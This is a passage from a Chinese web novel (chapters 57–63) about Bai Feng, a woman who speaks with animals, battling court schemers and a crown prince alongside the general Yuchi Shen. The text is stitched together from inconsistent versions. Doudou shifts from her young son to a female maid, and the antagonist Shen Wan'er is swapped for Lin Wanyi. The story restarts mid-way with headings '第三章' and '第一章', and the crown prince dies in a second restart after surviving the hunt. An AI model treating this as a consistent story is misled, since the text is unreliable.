白凤看到他脸上有几道抓痕,还有一块青紫,心里一紧:“谁干的?” “他们说我是野种。”豆豆眼泪吧嗒吧嗒往下掉,“说我娘是寡妇,不要脸。” 白凤的脸色沉了下来。 “我打回去了。”豆豆抹了把眼泪,“我记得娘说的,别人打我一拳,我就还他两拳。” “打赢了吗?” “赢了。”豆豆说,“但是夫子罚我抄书。” 白凤笑了:“抄就抄,没事。” 母子俩往回走,豆豆突然说:“娘,我明天不想去了。” “为什么?” “他们都不跟我玩,还骂我。”豆豆低着头,“我一个人坐在角落里,好孤单。” 白凤停下脚步,蹲下来看着豆豆:“你记住,别人怎么说,那是别人的事。你只要知道,娘爱你,你就是娘最宝贝的儿子,这就够了。” 豆豆点点头,眼泪又掉下来。 “至于那些欺负你的人。”白凤擦掉他的眼泪,“明天你骑黑熊去上学。” 豆豆瞪大眼睛:“真的?” “真的。” 第二天一早,白凤牵着黑熊出门。 这头熊是她上次进山采药时救的,养了几个月,已经很温顺了。 豆豆骑在黑熊背上,小脸兴奋得通红。 他们一路走到学堂,引来无数人围观。 “天哪,那是熊吗?” “真的是熊!好大一头!” “那小孩是谁?胆子也太大了吧!” 学堂门口,那些昨天欺负豆豆的孩子都傻眼了。 豆豆从黑熊背上跳下来,昂首挺胸走进学堂。 黑熊趴在门口,打了个哈欠,露出满口白牙。 那些孩子吓得连连后退。 从那天起,再也没人敢欺负豆豆了。 不仅如此,豆豆还成了学堂里最受欢迎的孩子,大家都抢着跟他玩,想摸摸那头黑熊。 豆豆得意洋洋地回家,跟白凤炫耀:“娘,今天好多人跟我玩!” “嗯,不错。”白凤笑着揉揉他的头。 日子就这么平静地过了一个多月。 这天,白凤正在院子里晒药材,听到门外传来熟悉的声音。 “外甥女,开门啊!” 白凤皱眉,这是她舅舅的声音。 她打开门,看到舅舅和舅妈站在门口,两人穿得破破烂烂,脸色蜡黄。 “舅舅,舅妈。”白凤叫了一声。 “哎呀,外甥女,可算见到你了!”舅妈拉着白凤的手,眼泪立刻掉下来,“你是不知道,我们这些日子过得有多苦啊!” 白凤抽回手:“进来说吧。” 舅舅舅妈进了院子,四处打量,眼里闪过贪婪的光。 “外甥女,你这日子过得不错啊。”舅妈说,“听说你最近发了财?” 第58章 借多少? 白凤倒了两杯水:“舅妈听谁说的?” “村里都传遍了,说你做粮食生意,赚了大钱。”舅妈凑近白凤,“外甥女,你看舅妈家里实在困难,能不能借点银子给舅妈?” “借多少?” “不多不多,五十两就够了。”舅妈搓着手。 白凤笑了:“五十两还不多?” “你不是赚了一千多两吗?五十两算什么?”舅妈理直气壮,“再说了,我可是你舅妈,你总不能见死不救吧?” “我为什么要救?”白凤反问,“当初我爹娘出事,你们可是跑得比谁都快。我和豆豆差点饿死在村里,也没见你们来看一眼。” 舅妈脸色一变:“那,那不是情况特殊吗?” “现在我的情况也很特殊。”白凤说,“我没钱。” “你骗人!”舅妈尖声道,“你明明有钱,就是不想给我们!” “对,我就是不想给。”白凤也不藏着掖着了,“你们走吧,以后别来了。” 舅妈还想闹,被舅舅拉住了。 舅舅叹了口气:“外甥女,舅舅知道当年对不起你。但舅舅这次来,确实是有难处。” 他从怀里掏出一张纸,递给白凤:“这是边关的军事布防图,很值钱。你拿去卖了,能卖不少银子。舅舅只要五十两,剩下的都是你的。” 白凤接过纸,展开一看,脸色大变。 这确实是边关的布防图,而且很详细,标注了兵力部署,粮草存放地,甚至连暗哨的位置都有。 “舅舅,你哪来的这个?”白凤声音发冷。 “舅舅在军中当差,偷偷抄的。”舅舅小声说,“外甥女,你拿去卖吧,肯定能卖个好价钱。” 白凤气得浑身发抖:“舅舅,你知不知道,这是死罪!” “我知道。”舅舅苦笑,“但我没办法,家里实在揭不开锅了。外甥女,你就帮帮舅舅吧。” 白凤深吸一口气,压下心里的怒火:“舅舅,你先回去,我考虑考虑。” 舅舅眼睛一亮:“那就这么说定了!” 他拉着舅妈匆匆离开。 白凤看着手里的布防图,脸色阴沉。 她知道这东西的价值,如果落到敌国手里,边关会有大祸。 但如果她现在去告发舅舅,舅舅必死无疑。 白凤犹豫了一夜,最终还是决定进京。 她得把这件事告诉尉迟深,让他来处理。 第二天一早,白凤把豆豆托付给李婶子,自己快马加鞭赶往京城。 三天后,她到了京城。 京城比她想象的繁华,街道宽阔,行人如织。 白凤找到尉迟深府邸,递上拜帖。 很快,尉迟深出来了。 他看到白凤,愣了一下:“你怎么来了?” “有急事找你。”白凤说。 尉迟深把她让进书房,屏退左右。 白凤把布防图拿出来,简单说了事情经过。 尉迟深看完,脸色凝重:“这事很严重。” “我知道。”白凤说,“所以我连夜赶来。” “你舅舅现在在哪?” “应该还在军中。” 尉迟深立刻写了一封信,让人快马送往边关。 “你舅舅保不住了。”尉迟深说,“盗取军事机密,必死无疑。” 白凤沉默了一会儿,点点头:“我明白。” “你不恨我?” “恨什么?”白凤苦笑,“是他自己作死,怪不得别人。” 尉迟深看着她,眼里闪过一丝复杂的情绪。 “你接下来打算怎么办?”他问。 “回去。”白凤说,“豆豆还在等我。” “别急。”尉迟深说,“你既然来了,就多待几天。而且,你舅舅的事一旦爆出来,你们在村里怕是待不下去了。” 白凤一怔,她没想到这一层。 “所以我建议你,搬来京城。”尉迟深说,“我可以帮你安排住处,也能让豆豆进更好的学堂。” 白凤想了想,点头:“也好。” 半个月后,白凤带着豆豆和全部家当,搬到了京城。 尉迟深给她安排了一个小院子,位置不算偏僻,离他府邸也不远。 豆豆进了京城最好的学堂,每天开开心心上学,回来就跟白凤炫耀今天学了什么。 白凤在京城开了一家药铺,生意还不错。 日子看起来平静安稳。 但白凤知道,暴风雨就要来了。 舅舅的事很快传开,他被处死,全家流放。 而白凤因为及时举报,不仅没受牵连,还得了一笔赏银。 但京城的贵人们,开始注意到她了。 尤其是那些跟边关有利益纠葛的人,都在暗中调查白凤的底细。 尉迟深因为破获了一起重大的通敌案,深受皇帝倚重,官职连升三级。 而白凤提供的情报,功不可没。 这让某些人更加忌惮她。 一天,白凤正在药铺里抓药,门外突然进来几个穿着华丽的丫鬟。 “你就是白凤?”为首的丫鬟趾高气扬。 “是我。”白凤放下药罐,“有事?” “我家小姐请你过府一趟。” “哪位小姐?” “户部尚书家的大小姐,沈婉儿。” 白凤皱眉,她听说过这个名字,据说是京城有名的才女,但脾气骄纵,仗着父亲的权势,没少欺负人。 “我跟她不熟,不去。”白凤拒绝得干脆。 丫鬟脸色一变:“放肆!我家小姐请你,是给你脸!你居然敢拒绝?” “那就不要这个脸了。”白凤说,“送客。” 药铺的伙计立刻上前,把几个丫鬟推出去。 丫鬟气得跳脚:“你等着!我家小姐不会放过你的!” 白凤没当回事,继续忙活。 但第二天,麻烦就来了。 清晨,白凤刚打开药铺的门,就看到门口站着一群人。 为首的是个十七八岁的姑娘,穿着鹅黄色的襦裙,头上戴着赤金凤钗,身后跟着七八个丫鬟婆子,气势汹汹。 “你就是白凤?”姑娘抬着下巴,眼里满是轻蔑。 “是我。”白凤擦着手上的药渍,“你就是沈婉儿?” “大胆!”一个婆子上前一步,“见到我家小姐,还不行礼?” 白凤看都没看她一眼:“我又不是你家奴才,凭什么给她行礼?” 沈婉儿脸色一沉:“你好大的胆子!知道我是谁吗?” “户部尚书的女儿。”白凤说,“然后呢?” “然后?”沈婉儿冷笑,“就凭这一点,我要捏死你,跟捏死一只蚂蚁一样简单。” 第59章 那你试试 “那你试试。”白凤也不怕她。 沈婉儿气得脸都红了,她从小到大,还没人敢这么跟她说话。 “我听说,你是罪臣之后?”沈婉儿突然问。 白凤心里一紧,面上却不动声色:“那又怎样?” “罪臣之后,也敢在京城开药铺?也敢跟尉迟大人走得近?”沈婉儿步步紧逼,“你知不知道,你爹当年犯的是什么罪?” “不知道。”白凤说,“但我知道,我爹不是罪人。” “笑话!”沈婉儿讥讽道,“你爹勾结外敌,出卖军事机密,害死了三千将士!这样的人不是罪人,谁是罪人?” 白凤攥紧拳头,指甲陷进肉里。 她确实不知道原主的父母到底犯了什么罪,只知道他们被贬后不久就死了。 但从沈婉儿的话里,她听出了不对劲。 三千将士?军事机密? 这跟她舅舅的事太像了。 “我爹没有勾结外敌。”白凤一字一句地说,“他是被人陷害的。” “陷害?”沈婉儿笑得更大声了,“证据确凿,人证物证俱在,还说是陷害?白凤,你是不是脑子有病?” 白凤深吸一口气,压下心里的怒火:“我爹的案子,我会查清楚的。” “查?”沈婉儿收起笑容,眼神变得阴冷,“我劝你最好别查。有些事,不是你能碰的。” “为什么?”白凤盯着她,“你心虚?” 沈婉儿脸色一变,随即恢复正常:“我心虚什么?我只是好心提醒你,别不知死活。” 说完,她转身就走。 走出几步,又回头看了白凤一眼:“对了,忘了告诉你,你那个药铺,开不长久了。” 白凤看着她的背影,心里涌起一股不好的预感。 果然,当天下午,就有官差来查封药铺。 “白凤,有人举报你的药铺卖假药,害死了人。”为首的官差拿出一张状纸,“跟我们走一趟吧。” “假药?害死人?”白凤冷笑,“我开铺子这么久,从没出过事,怎么突然就有人告我?” “这我不管。”官差说,“总之你得跟我们走。” 白凤知道这是沈婉儿搞的鬼,但她没有证据。 “行,我跟你们走。”白凤说,“但我要见尉迟大人。” “尉迟大人?”官差愣了一下,“你跟尉迟大人什么关系?” “朋友。” 官差犹豫了一下,最后还是点头:“行,我给你传话。” 白凤被带到大理寺,关在一间牢房里。 牢房阴暗潮湿,角落里还有老鼠跑来跑去。 白凤靠着墙壁坐下,闭目养神。 她在等尉迟深。 果然,不到一个时辰,尉迟深就来了。 “怎么回事?”尉迟深看着牢房里的白凤,眉头紧皱。 “沈婉儿陷害我。”白凤简单说了事情经过。 尉迟深脸色阴沉:“我知道了,你先在这待着,我去处理。” “等等。”白凤叫住他,“我想知道,我爹娘当年到底犯了什么罪?” 尉迟深沉默了一会儿,说:“你爹是兵部侍郎,十年前因为泄露军事机密,导致边关大败,三千将士战死。朝廷查明是你爹所为,将他贬为庶民,流放边疆。” “证据呢?” “有人证,也有物证。”尉迟深说,“在你爹的书房里,搜出了敌国的书信,还有一笔巨额银票。” 白凤冷笑:“这么明显的栽赃,当时就没人怀疑?” “有。”尉迟深说,“但太子殿下亲自过问此案,最后定了罪。” “太子?”白凤心里一动,“沈婉儿跟太子什么关系?” “沈尚书是太子的人。”尉迟深说,“而且,沈婉儿一直想嫁给太子,做太子妃。” 白凤明白了。 怪不得沈婉儿这么针对她,原来是怕她查出真相,连累太子。 “我爹的案子,是太子陷害的?”白凤问。 “我不知道。”尉迟深说,“但当年确实疑点重重。只是太子权势滔天,没人敢查。” “那现在呢?”白凤看着他,“你敢查吗?” 尉迟深看着她,眼里闪过一丝复杂的情绪:“你想让我查?” “对。”白凤说,“我爹娘死得冤枉,我要给他们平反。” “你知道这意味着什么吗?”尉迟深说,“查太子,就是跟整个太子党作对。你会死的。” “我不怕。”白凤说,“我既然接了这副身体,就得为原主做点什么。” 尉迟深沉默了很久,最后点头:“好,我帮你。” “为什么?”白凤问,“你不怕得罪太子?” “我本来就不是太子的人。”尉迟深说,“而且,我也想知道真相。” 他顿了顿,又说:“当年那场战役,我爹也在。他是三千将士中的一员,战死沙场。” 白凤愣住了。 她没想到,尉迟深跟这件事也有关系。 “所以,我们是同一条船上的人。”尉迟深说,“我会帮你查清真相,也会保护你。” 白凤点点头:“谢谢。” “不用谢。”尉迟深说,“你先在这待着,我去处理你的案子。” 他转身离开,脚步声渐渐远去。 白凤靠着墙壁,脑子里飞快地转着。 她现在算是彻底得罪了太子党,接下来肯定会有更多的麻烦。 但她不后悔。 既然来到这个世界,既然接了这副身体,她就得为原主讨回公道。 更何况,这件事关系到三千条人命,关系到尉迟深的父亲。 她不能坐视不管。 两天后,白凤被放了出来。 尉迟深查明,所谓的假药案,根本就是子虚乌有。那个所谓的死者,根本不存在。 沈婉儿的计划落空了。 但白凤知道,这只是开始。 果然,接下来的日子里,白凤遇到了各种各样的麻烦。 药铺的药材被人掉包,她差点误诊。 豆豆在学堂里被人欺负,回来时鼻青脸肿。 甚至有人在半夜往她院子里扔死老鼠,恐吓她。 白凤忍了又忍,但最终还是爆发了。 这天,她直接找到沈府,堵在门口。 “让沈婉儿出来!”白凤喊道。 门房吓了一跳:“你,你是什么人?” “我是白凤。”白凤说,“让沈婉儿出来,我有话跟她说。” “放肆!”门房怒道,“我家小姐是你想见就能见的?” “那我就在这等。”白凤说,“等到她出来为止。” 她在沈府门口一站就是一整天。 傍晚时分,沈婉儿终于出来了。 “白凤,你还真是阴魂不散。”沈婉儿冷笑,“怎么,来求饶了?” “求饶?”白凤也笑了,“我是来警告你的。” “警告我?”沈婉儿觉得好笑,“你有什么资格警告我?” 第60章 见了鬼 “我没资格,但尉迟深有。”白凤说,“你最好收敛点,不然我保证,你会后悔的。” 沈婉儿脸色一变:“你拿尉迟深压我?” “对。”白凤说,“怎么,不服?” “你以为尉迟深真的会为了你,跟我们沈家作对?”沈婉儿讥讽道,“他不过是利用你罢了。等他达到目的,你就是一颗弃子。” “那也比你强。”白凤说,“至少我还有利用价值,你呢?除了仗着你爹的权势,你还会什么?” 沈婉儿气得浑身发抖:“你找死!” “我等着。”白凤说完,转身就走。 沈婉儿看着她的背影,眼里闪过一丝狠毒。 当天晚上,沈婉儿就去找了太子。 太子府,书房。 太子正在看奏折,听到沈婉儿的来意,皱起眉头:“你说的那个白凤,就是尉迟深最近在保护的那个女人?” “对。”沈婉儿说,“殿下,这个女人不简单。她是白尚书的女儿,现在又跟尉迟深走得近,肯定在查当年的案子。” 太子放下奏折,眼里闪过一丝冷意:“白尚书的案子,已经过去十年了,她还想翻案?” “她不仅想翻案,还想给她爹平反。”沈婉儿说,“殿下,这个女人留不得。” 太子沉思了一会儿,说:“你说得对,她确实留不得。但不能明着来,尉迟深现在正受父皇器重,如果我们动了白凤,他肯定会查到我们头上。” “那怎么办?” “暗中解决。”太子说,“找个机会,制造一场意外,让她死得悄无声息。” 沈婉儿眼睛一亮:“殿下英明!” 太子看着她,突然问:“你跟尉迟深,是不是有过节?” 沈婉儿脸一红:“殿下说笑了,我跟尉迟大人只是普通关系。” “是吗?”太子意味深长地看着她,“我听说,你曾经想嫁给他?” 沈婉儿脸色一白:“殿下,那都是以前的事了。现在我只想嫁给您,做您的太子妃。” “嗯。”太子点点头,“那就好。记住,不要让私人恩怨影响大局。” “是,殿下。” 沈婉儿退出书房,脸上的温顺立刻消失,取而代之的是阴狠。 白凤,你等着。 这次,我一定要让你死无葬身之地。 与此同时,白凤正在家里教豆豆功课。 豆豆趴在桌上,小脸皱成一团:“娘,这个字好难写。” “慢慢来,不急。”白凤摸摸他的头。 豆豆抬起头,突然问:“娘,为什么那些人都欺负我们?” 白凤愣了一下:“谁欺负你了?” “学堂里的孩子,还有那些大人。”豆豆说,“他们都说我是罪臣之后,不配读书。” 白凤心里一疼,把豆豆抱进怀里:“豆豆,你记住,你不是罪臣之后。你外公外婆是好人,他们是被人陷害的。” “真的?” “真的。”白凤说,“娘会查清真相,给你外公外婆平反。到时候,那些人就不敢再欺负你了。” 豆豆点点头,把脸埋进白凤怀里:“娘,我相信你。” 白凤抱着豆豆,眼里闪过一丝坚定。 为了豆豆,为了原主,也为了那三千条冤魂,她一定要查清真相。 就算前面是刀山火海,她也要闯一闯。 尉迟府的门房今天见了鬼。 不,比见鬼还离谱。白家那位传闻中被退婚、名声扫地的大小姐,此刻正站在府门外,身后跟着两个丫鬟,手里还提着礼盒。 “劳烦通报一声,白凤求见尉迟将军。” 门房咽了口唾沫,转身就往里跑。这种事他可做不了主。 正厅里,尉迟深正在处理军务,听到门房的禀报,手中的毛笔顿了顿。 “让她进来。” 白凤踏进正厅时,尉迟深已经放下了手中的公文。两人对视,空气里有种说不清道不明的张力。 “将军,我今天来是有事相商。”白凤开门见山,“我想和你结成联盟。” “联盟?” “婚姻联盟。”白凤把礼盒放在桌上,“你娶我,我助你稳固势力。各取所需。” 尉迟深盯着她看了片刻,突然笑了:“你倒是直接。” “拐弯抹角浪费时间。”白凤在椅子上坐下,“你现在的处境不算好,朝中太子一派势力庞大,你需要盟友。而我——”她顿了顿,“我需要一个身份,一个让那些人闭嘴的身份。” 话音刚落,外面传来一阵急促的脚步声。 “尉迟深!你给我出来!” 白凤挑眉,这声音她熟。 官家小姐林婉仪冲进正厅,看到白凤的瞬间,脸色煞白。 “你、你怎么在这里?”林婉仪指着白凤,手指都在发抖。 “谈事。”白凤淡定地喝了口茶,“林小姐有事?” 林婉仪深吸一口气,转向尉迟深:“尉迟将军,你可别被这个女人骗了!她心机深沉,当初就是她设计陷害我,让我在众人面前出丑!” “是吗?”尉迟深的声音很平静,“那林小姐能解释一下,为什么三个月前,你派人给我送信,说白凤在背后说我坏话?” 林婉仪脸色一变。 “还有两个月前,你又派人给白凤传话,说我对她心怀不轨。”尉迟深站起身,走到林婉仪面前,“林小姐,挑拨离间这种事,你做得很熟练啊。” “我、我那是——” “你那是想让我们互相误会,互相防备。”白凤接过话头,“好让你从中渔利。” 林婉仪的脸涨得通红,她张了张嘴,却说不出反驳的话。 就在这时,一只橘猫从窗台跳了进来。白凤认出来了,这是林婉仪养的猫,叫团团。 “喵呜——”团团冲着白凤叫了一声。 白凤眼神一动,侧耳倾听。片刻后,她脸上露出一个意味深长的笑容。 “林小姐,你的猫有话要说。” “什么?”林婉仪愣住了。 “它说,它早就看你不顺眼了。”白凤慢条斯理地说,“每天被你打扮得花里胡哨,还不让吃鱼。最重要的是——”她停顿了一下,“它说你经常半夜偷偷出府,去见一个穿黄色衣服的男人。” 正厅里突然安静得可怕。 “黄色衣服……”尉迟深若有所思,“那是太子的常服颜色。” 林婉仪的脸色瞬间惨白如纸。 “你胡说!”她尖叫起来,“一只猫能说什么?你在编故事!” “是不是编故事,查一查就知道。”白凤站起身,“你府上的守卫,你的贴身丫鬟,总有人知道些什么。” 林婉仪浑身颤抖,她死死盯着白凤,眼中满是怨毒:“白凤,我不会放过你的!” 第61章 你考虑得怎么样? 说完,她转身就跑了出去。 正厅里重新安静下来。 “你真的能听懂动物说话?”尉迟深问。 “算是一种天赋。”白凤没有否认,“所以,婚事的事,你考虑得怎么样?” 尉迟深看着她,眼神复杂:“你就不怕我利用你?” “彼此彼此。”白凤笑了,“反正都是交易,谁怕谁。” “成交。”尉迟深伸出手。 白凤握住他的手,两人的手掌相触,都感觉到了对方手心的温度。 林婉仪回到府中,把房间里的东西砸了个遍。 “小姐,您消消气……”丫鬟战战兢兢地劝。 “消气?我怎么消气!”林婉仪眼睛通红,“白凤那个贱人,她毁了我的一切!” 她本来计划得好好的,先稳住尉迟深,再借着父亲的势力和太子联姻,到时候坐上皇后之位,要风得风要雨得雨。现在倒好,全被白凤搅黄了。 “来人。”林婉仪冷静下来,“去太子府,就说我有要事相商。” 三天后,皇宫里举办了一场皇妃聚会。 白凤作为尉迟深的未婚妻,也收到了邀请。她换上一身淡青色的长裙,带着丫鬟豆豆进了宫。 “小姐,这宫里好大啊。”豆豆东张西望。 “别乱跑。”白凤提醒她。 聚会设在御花园的凉亭里,来的都是些贵妇小姐。白凤一进去,就感觉到了无数道打量的目光。 “哟,这不是白家大小姐吗?”一个尖酸的声音响起,“听说你要嫁给尉迟将军了?真是高攀啊。” 白凤看都没看说话的人一眼,径直走到空位上坐下。 林婉仪坐在主位旁边,看到白凤,嘴角勾起一个冷笑。 “来人,上茶点。” 宫女们端着精致的茶点走了进来。白凤面前放了一碟糕点,她正要伸手去拿,豆豆突然拉了拉她的袖子。 “小姐,那个糕点有点怪。”豆豆小声说。 白凤动作一顿,她看向糕点,表面上看不出什么异常。 “诸位请用。”林婉仪举起茶杯,“今天难得聚在一起,大家不必拘束。” 其他人纷纷拿起糕点品尝,白凤却没动。 过了一会儿,一位夫人突然捂住肚子,脸色发白:“我、我肚子疼……” 紧接着,又有几个人出现了同样的症状。 “怎么回事?”有人惊呼。 林婉仪站起身,脸上露出惊讶的表情:“这些糕点都是从御膳房送来的,怎么会……”她突然看向白凤,“白小姐,你怎么没吃?” 所有人的目光都集中到白凤身上。 “是啊,大家都吃了,就你没吃。” “该不会是你下的毒吧?” “我听说白家最近生意不好,是不是想报复朝廷?” 白凤面色平静,她看着面前的糕点,又看了看其他人的糕点。 “豆豆,去把御花园里的鸟都叫过来。” “啊?”豆豆愣住了。 “快去。” 豆豆虽然不明白,但还是照做了。很快,一群鸟雀飞到了凉亭周围。 白凤拿起自己面前的糕点,掰下一小块扔给一只麻雀。麻雀啄了一口,立刻倒在地上抽搐起来。 众人倒吸一口凉气。 “看到了吗?”白凤转向林婉仪,“只有我面前的糕点有毒。” “这、这怎么可能……”林婉仪脸色发白。 “不可能?”白凤又拿起其他人吃过的糕点,同样喂给鸟雀。这次鸟雀吃完后活蹦乱跳,什么事都没有。 “所以,那些夫人们肚子疼,不是因为糕点有毒。”白凤看向林婉仪,“林小姐,你在茶里下了泻药吧?” 林婉仪脸色煞白。 “你想栽赃我下毒,所以提前在茶里下了泻药,让大家以为是糕点的问题。”白凤继续说,“但你没想到,我没吃糕点。所以你只能把矛头指向我,说只有我没吃,肯定是我下的毒。” “可惜你算漏了一点。”白凤站起身,“如果真的是糕点有毒,为什么只有我面前的那份有毒?” 林婉仪浑身发抖,她张了张嘴,却说不出话来。 “来人!”一个威严的声音响起。 太子带着侍卫走了进来,他看了看现场的情况,脸色阴沉:“把林婉仪带下去,严加审问。” 林婉仪瘫软在地,被侍卫拖了出去。 太子走到白凤面前,眼神深邃:“白小姐好手段。” “太子殿下过奖了。”白凤行了个礼,“只是自保而已。” 太子盯着她看了片刻,转身离开了。 #第三章围猎惊变 尉迟深听说了御花园的事,连夜赶到了白府。 “你没事吧?”他难得露出担忧的表情。 “我能有什么事。”白凤倒了杯茶给他,“倒是你,太子今天看我的眼神不太对。” “他在忌惮你。”尉迟深接过茶杯,“能和动物沟通的能力,对他来说是个威胁。” “所以他会对我动手?” “迟早的事。” 两人相对无言,气氛有些凝重。 “其实……”尉迟深突然开口,“你可以不用这么拼。” 白凤抬眼看他。 “我是说,婚约的事,如果你觉得危险,可以取消。”尉迟深的声音很轻,“我不想你因为我陷入险境。” 白凤愣了愣,随即笑了:“尉迟将军,你这是在关心我?” “算是吧。”尉迟深没有否认。 白凤心里涌起一股暖意,但她很快压了下去:“放心,我没那么容易死。” 就在这时,豆豆慌慌张张地跑了进来。 “小姐!不好了!” “怎么了?” “外面、外面的人都在说,说您能和动物说话的事传开了!”豆豆急得快哭了,“都是我不好,那天在集市上,我不小心说漏嘴了……” 白凤脸色一变。 果然,第二天一早,京城里就炸开了锅。 “听说白家大小姐是妖怪!” “能和动物说话,这不是妖术是什么?” “怪不得她能洗清冤屈,原来是用了妖法!” 更离谱的是,朝廷下了一道命令:凡是与白凤有过接触的人家,必须把家中的动物全部处死,以防妖术传播。 一时间,京城里哀鸿遍野。 白凤站在府门外,看着街上被拖出来处死的猫狗,心里涌起一股无力感。 “小姐,都是我的错……”豆豆跪在地上,泪流满面。 “不怪你。”白凤扶起她,“这件事迟早会暴露,只是时间问题。” 最荒唐的是,连马都不让用了。朝廷下令,所有马匹一律充公,改用人力抬轿。 “这是要把我往死里整啊。”白凤苦笑。 第62章 毒计 尉迟深握住她的手:“我会保护你。” 白凤看着他,第一次觉得这个男人不是那么讨厌。 一个月后,太子以秋猎为名,邀请朝中重臣参加围猎。 “这是鸿门宴。”尉迟深看着请帖,“他想在围猎时对你下手。” “我知道。”白凤却很平静,“但我必须去。” “为什么?” “因为如果我不去,他会找更多的理由对付我。”白凤站起身,“与其被动挨打,不如主动出击。” 围猎当天,天气晴朗。 白凤骑着马(这是尉迟深特批的),跟着队伍进了猎场。 太子骑在高头大马上,看到白凤,露出一个意味深长的笑容:“白小姐,今天可要小心了,这林子里什么都有。” “多谢殿下关心。”白凤回了个礼。 队伍深入林中,突然,一声号角响起。 “开始!” 众人纷纷策马追逐猎物。白凤却没动,她闭上眼睛,感受着周围的气息。 “小姐,怎么了?”豆豆问。 “有埋伏。”白凤睁开眼,“而且不止一处。” 话音刚落,林中突然传来一阵野兽的吼叫。 “是狼群!”有人惊呼。 “怎么会有狼?这里明明清理过了!” 白凤冷笑,这就是太子的手段。他故意放狼进来,想制造意外杀死她。 但他算错了一点。 白凤翻身下马,站在空地上。她闭上眼睛,发出一种奇特的声音。 那声音像是呼唤,又像是命令。 狼群冲出树林,但在看到白凤的瞬间,全都停了下来。 领头的狼缓缓走到白凤面前,低下了头。 “去吧。”白凤轻声说,“找到真正该死的人。” 狼群转身,朝着太子的方向冲去。 “啊!救命!” “快保护殿下!” 林中一片混乱。不只是狼,野猪、熊、甚至毒蛇都从四面八方涌了出来,但它们攻击的目标,全都是太子一派的人。 “这、这是怎么回事?”有人惊恐地喊。 白凤站在原地,看着这场动物的反击,嘴角露出一个笑容。 “太子殿下,这就是你想要的围猎吗?” 尉迟深策马来到她身边,看着眼前的景象,眼中闪过一丝震撼。 “你做的?” “算是吧。”白凤转身上马,“走吧,这里不宜久留。” 两人策马离开,身后传来太子的怒吼和惨叫。 这场围猎,最后以太子一派损失惨重而告终。而白凤的名字,也彻底在京城里传开了。 有人说她是妖女,有人说她是神女。但无论如何,从这一天起,再也没有人敢小看她。#第一章 太子死了。 这个消息传到尉迟深耳中时,他正在书房批阅军务文书。送信的小太监跪在地上,额头抵着青砖地面,声音颤抖得几乎听不清。 “将军,太子殿下在御花园惊马,撞上假山,当场……当场气绝。” 尉迟深手中的毛笔停在半空,墨汁顺着笔尖滴落,在宣纸上晕开一团黑色的印记。他抬起头,眼中没有惊讶,只有一种深沉的疲惫。 “官家小姐呢?” “小姐被马车撞倒,腿骨断裂,太医说……恐怕日后难以行走。” 书房里陷入死一般的寂静。窗外的风吹过院中的梧桐树,叶子簌簌作响,像是有人在低声哭泣。 白凤推门进来时,看到的就是这样一幅画面。尉迟深站在窗前,背影笔直如松,却透出一种说不出的沉重。她走到他身边,什么也没说,只是伸手握住了他的手。 “皇上召你入宫。”她轻声说。 尉迟深转过身,看着妻子那张素净的脸。成亲这些年,白凤从未施过脂粉,却总是让他觉得赏心悦目。此刻她的眉头微蹙,眼中闪过一丝担忧。 “我知道。”他握紧了她的手,“一起去。” 养心殿内,皇帝坐在龙椅上,脸色铁青。太子的死让他一夜之间苍老了十岁,原本乌黑的鬓角已经斑白。他看着跪在殿下的尉迟深和白凤,眼神复杂得让人难以捉摸。 “太子死了,官家小姐残了。”皇帝的声音沙哑,“朕的好侄女,才十五岁,这辈子都要在轮椅上度过。” 尉迟深低着头,没有说话。 “朕知道这不是你的错,但朝中已经有人在议论,说是你纵容夫人养的猛兽惊了马。”皇帝站起身,在殿内来回踱步,“尉迟深,你手握十万精兵,朕信你,可朝臣不信。太子死了,你的势力太大,朕压不住那些人的嘴。” 白凤抬起头,正要开口,却被尉迟深按住了手。 “朕给你两个选择。”皇帝停下脚步,“要么休妻,证明你与此事无关。要么交出兵权,从此做个闲散王爷。” 殿内的空气凝固了。 白凤的手指微微颤抖,她能感觉到尉迟深掌心的温度。这个男人从不轻易流露情绪,可此刻他握着她的手,力道大得几乎要捏碎她的骨头。 “臣选择交出兵权。” 尉迟深的声音平静得可怕。 皇帝愣住了,显然没想到他会做出这样的选择。朝中大臣也是一片哗然,有人窃窃私语,有人面露不屑。 “你可想清楚了?”皇帝盯着他,“兵权一旦交出,再想拿回来可就难了。” “臣想得很清楚。”尉迟深抬起头,目光坦荡,“臣这条命是夫人救的,若无她,臣早已死在边关。兵权可以不要,夫人不能休。” 白凤的鼻子一酸,眼眶瞬间湿润。她咬着嘴唇,强忍着没让眼泪掉下来。 皇帝看着这对夫妻,叹了口气。他挥挥手,让其他人退下,殿内只剩下他们三人。 “尉迟深,朕不是真要你交兵权。”皇帝坐回龙椅,揉了揉太阳穴,“朕只是要给朝臣一个交代。太子死了,朕心里也难受,可朕更清楚,这事跟你们没关系。那匹马是太子自己要骑的,谁也拦不住。” “那皇上的意思是……” “兵权暂时交出来,过段时间风头过了,朕再还给你。”皇帝看向白凤,“白氏,朕听说你善驯兽?” 白凤点点头。 “那好,朕给你一个差事。”皇帝眼中闪过一丝精光,“朕要在京城外建一座皇家猎场,你来做驯兽师。朕要让那些说闲话的人看看,你养的不是什么猛兽,而是能为皇家效力的神兽。” 白凤和尉迟深对视一眼,两人心中都明白,皇帝这是在给他们台阶下。 “臣妇领旨。” 第63章 你怎么能说交就交? 走出养心殿,白凤才长长地舒了口气。她看着身边的男人,心中涌起一股难以言说的情绪。 “你傻不傻?”她低声说,“兵权那么重要,你怎么能说交就交?” 尉迟深停下脚步,转身看着她。冬日的阳光洒在他脸上,让他那张棱角分明的脸显得格外柔和。 “你比兵权重要。” 就这么简单的五个字,却让白凤的眼泪再也忍不住,顺着脸颊滑落。她抬手擦了擦眼睛,笑着骂道:“你这人真是……” “真是什么?”尉迟深难得露出一丝笑意。 “真是让人没办法。” 回到府中,白凤立刻召集了她的“小弟们”。院子里很快聚满了各种动物——老虎、狼、鹰、猴子,甚至还有几条蛇。这些动物平日里都被她养得服服帖帖,此刻听到召唤,纷纷赶来。 “从今天起,你们要自力更生了。”白凤站在院子中央,环视着这些动物,“我要在城外建个动物园,你们每天表演,赚钱养活自己。谁要是偷懒,就别想吃肉。” 老虎打了个哈欠,懒洋洋地趴在地上。 猴子跳到白凤肩膀上,抓耳挠腮。 鹰在空中盘旋,发出一声长鸣。 白凤看着这些动物,心中涌起一股暖意。这些年来,它们陪她走过了多少风雨,如今也该让它们过上好日子了。 “对了,还有一件事。”她拍拍手,“我需要你们帮我建立一个情报网。特别是你们这些鸟,每天在城里飞来飞去,什么消息都能听到。从今天起,有什么风吹草动,立刻来报。” 鹰又叫了一声,算是答应了。 